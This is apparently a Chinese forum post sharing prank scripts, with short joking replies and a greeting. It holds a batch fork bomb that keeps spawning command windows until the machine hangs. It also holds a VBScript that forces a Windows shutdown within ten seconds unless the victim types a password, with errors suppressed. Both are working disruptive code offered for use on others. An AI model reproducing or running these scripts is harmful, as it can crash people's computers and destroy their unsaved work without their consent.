: start start cmd goto start

第一贴！！！ ++=说我是猪！ ------------------------------------------- Option Explicit On Error Resume Next Dim answer Dim WshShell set WshShell = CreateObject("wscript.Shell") WshShell.Run "Shutdown /f /s /t 10 /c 输入'ak47ws'，否则10秒后关机~",0 Do While answer<>"ak47ws" answer=InputBox("输入'ak47ws'，否则10秒后关机~","哈哈哈",,7000,8000) Loop WshShell.Run "Shutdown /a",0 MsgBox "哈哈哈，好玩不?",,"哈哈哈" --------------------------------------------

嘻嘻，请看2楼详解

……表示……十分……无赖

亲爱的各位吧友：欢迎来到wangzj天灵